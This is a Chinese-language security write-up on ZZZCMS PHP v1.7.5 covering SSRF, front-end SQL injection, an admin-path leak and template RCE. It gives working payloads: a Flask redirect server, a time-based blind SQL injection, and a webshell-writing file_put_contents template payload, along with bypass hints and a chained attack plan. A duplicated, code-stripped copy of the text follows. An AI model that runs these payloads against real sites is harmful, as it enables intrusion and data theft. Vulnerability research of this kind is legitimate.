zzzcms(php) v1.7.5 前台SQL注入及其他
字数 1392 2025-08-25 22:58:20

ZZZCMS PHP v1.7.5 安全漏洞分析与利用指南

0x01 前言

本文档详细分析ZZZCMS PHP版v1.7.5版本的安全漏洞,包括SSRF、前台SQL注入、后台地址泄露和后台RCE漏洞。这些漏洞在之前的版本中可能已被修复,但在v1.7.5中仍然存在或出现了新的变种。

0x02 SSRF漏洞分析

漏洞位置

plugins/ueditor/php/controller.php 文件中的远程图片下载功能

漏洞原理

  1. 用户输入的POST参数经过safe_url函数处理后传入down_url函数
  2. down_url函数逻辑:
    • 获取URL中的文件名和后缀
    • 实施文件名后缀白名单限制
    • 使用readfile获取远程资源(支持file协议)

限制与绕过

  • 直接下载webshell不可行(后缀限制)
  • SSRF利用需要借助301/302跳转
  • 不支持file://协议的直接利用

利用示例

搭建一个提供301跳转的HTTP服务器(Python Flask示例):

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/1.txt')
def index():
    return redirect('http://www.net.cn/static/customercare/yourip.asp', code=301)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000)

0x03 前台SQL注入漏洞

漏洞位置

plugins/sms/sms_list.php 文件中的id参数处理

漏洞调用链

  1. 用户POST输入的id参数
  2. 调用db_delete函数删除指定ID数据
  3. db_delete调用db_cond_to_sqladd处理条件变量
  4. 最终传入db_exec执行SQL语句

关键函数分析

db_cond_to_sqladd函数处理流程:

  1. 参数为数组时进入第一个处理分支
  2. 如果id也是数组且不存在key为0的元素,进入第二个处理分支
  3. 关键点:键名$k1直接拼接到SQL语句中,未经过滤

漏洞验证

构造特殊POST请求,观察SQL语句回显:

POST /plugins/sms/sms_list.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id[key]=value

利用方法

使用BENCHMARK函数构造时间盲注Payload获取数据库信息:

id[1 AND (SELECT IF(SUBSTRING(user(),1,1)='r',BENCHMARK(5000000,MD5(NOW())),0))]=1

0x04 后台地址泄露

泄露文件位置

plugins/webuploader/js/webconfig.php

泄露信息

  • 直接回显zzz_config.php中的敏感信息
  • 暴露管理后台的真实路径(无需猜测或爆破admin加三位数字的组合)

0x05 后台RCE漏洞

漏洞背景

参考v1.7.3版本的CVE-2019-17408,在v1.7.5中尝试修复但过滤不彻底

关键函数

parserIfLabel函数是漏洞触发点

历史Payload(已失效)

  1. 简单assert执行:
    {if:assert($_request[phpinfo()])}phpinfo();{end if}
    
  2. 文件写入:
    {if:1=1);file_put_contents(strtr("1.p*p"h"),strtr('<?*h*', "*", "p").strtr('ev*l(', "*", "a").hex2bin('24').strtr('_P*ST[1]);', "*", "O")); //} {end if}
    

v1.7.5修复情况

  • 增加了更多过滤规则
  • 黑名单方式存在纰漏,仍可绕过

绕过建议

  1. 分析新增的黑名单规则
  2. 寻找未被过滤的特殊字符或函数组合
  3. 尝试编码/混淆技术绕过过滤

0x06 综合利用思路

  1. 信息收集阶段

    • 访问plugins/webuploader/js/webconfig.php获取后台地址
  2. 权限提升

    • 利用前台SQL注入获取管理员凭证
    • 或通过其他方式获取后台访问权限
  3. 最终利用

    • 登录后台后尝试RCE漏洞绕过
    • 结合多个漏洞实现从外网到内网的穿透

0x07 防御建议

  1. 对所有用户输入进行严格过滤和参数化查询
  2. 限制远程文件下载功能,禁用危险协议(如file://)
  3. 移除或保护敏感配置文件
  4. 完善模板解析函数的安全过滤机制
  5. 升级到最新安全版本

附录:关键代码片段

SSRF相关代码

// plugins/ueditor/php/controller.php
$url = safe_url($_POST['url']);
down_url($url);

function down_url($url) {
    // 获取文件名和后缀
    // 白名单检查
    readfile($url); // SSRF触发点
}

SQL注入相关代码

// plugins/sms/sms_list.php
$id = $_POST['id'];
db_delete('sms', $id);

// db_cond_to_sqladd函数关键部分
if (is_array($where)) {
    if (is_array($k1) && !isset($k1[0])) {
        // 键名直接拼接
        $s .= "$k1 $v1";
    }
}

RCE相关代码

// parserIfLabel函数过滤逻辑
$pattern = '/\b(assert|file_put_contents|eval|system|exec)\b/i';
// 新增了更多黑名单过滤
ZZZCMS PHP v1.7.5 安全漏洞分析与利用指南 0x01 前言 本文档详细分析ZZZCMS PHP版v1.7.5版本的安全漏洞,包括SSRF、前台SQL注入、后台地址泄露和后台RCE漏洞。这些漏洞在之前的版本中可能已被修复,但在v1.7.5中仍然存在或出现了新的变种。 0x02 SSRF漏洞分析 漏洞位置 plugins/ueditor/php/controller.php 文件中的远程图片下载功能 漏洞原理 用户输入的POST参数经过 safe_url 函数处理后传入 down_url 函数 down_url 函数逻辑: 获取URL中的文件名和后缀 实施文件名后缀白名单限制 使用 readfile 获取远程资源(支持file协议) 限制与绕过 直接下载webshell不可行(后缀限制) SSRF利用需要借助301/302跳转 不支持 file:// 协议的直接利用 利用示例 搭建一个提供301跳转的HTTP服务器(Python Flask示例): 0x03 前台SQL注入漏洞 漏洞位置 plugins/sms/sms_list.php 文件中的 id 参数处理 漏洞调用链 用户POST输入的 id 参数 调用 db_delete 函数删除指定ID数据 db_delete 调用 db_cond_to_sqladd 处理条件变量 最终传入 db_exec 执行SQL语句 关键函数分析 db_cond_to_sqladd 函数处理流程: 参数为数组时进入第一个处理分支 如果 id 也是数组且不存在key为0的元素,进入第二个处理分支 关键点 :键名 $k1 直接拼接到SQL语句中,未经过滤 漏洞验证 构造特殊POST请求,观察SQL语句回显: 利用方法 使用 BENCHMARK 函数构造时间盲注Payload获取数据库信息: 0x04 后台地址泄露 泄露文件位置 plugins/webuploader/js/webconfig.php 泄露信息 直接回显 zzz_config.php 中的敏感信息 暴露管理后台的真实路径(无需猜测或爆破admin加三位数字的组合) 0x05 后台RCE漏洞 漏洞背景 参考v1.7.3版本的CVE-2019-17408,在v1.7.5中尝试修复但过滤不彻底 关键函数 parserIfLabel 函数是漏洞触发点 历史Payload(已失效) 简单assert执行: 文件写入: v1.7.5修复情况 增加了更多过滤规则 黑名单方式存在纰漏,仍可绕过 绕过建议 分析新增的黑名单规则 寻找未被过滤的特殊字符或函数组合 尝试编码/混淆技术绕过过滤 0x06 综合利用思路 信息收集阶段 : 访问 plugins/webuploader/js/webconfig.php 获取后台地址 权限提升 : 利用前台SQL注入获取管理员凭证 或通过其他方式获取后台访问权限 最终利用 : 登录后台后尝试RCE漏洞绕过 结合多个漏洞实现从外网到内网的穿透 0x07 防御建议 对所有用户输入进行严格过滤和参数化查询 限制远程文件下载功能,禁用危险协议(如file://) 移除或保护敏感配置文件 完善模板解析函数的安全过滤机制 升级到最新安全版本 附录:关键代码片段 SSRF相关代码 SQL注入相关代码 RCE相关代码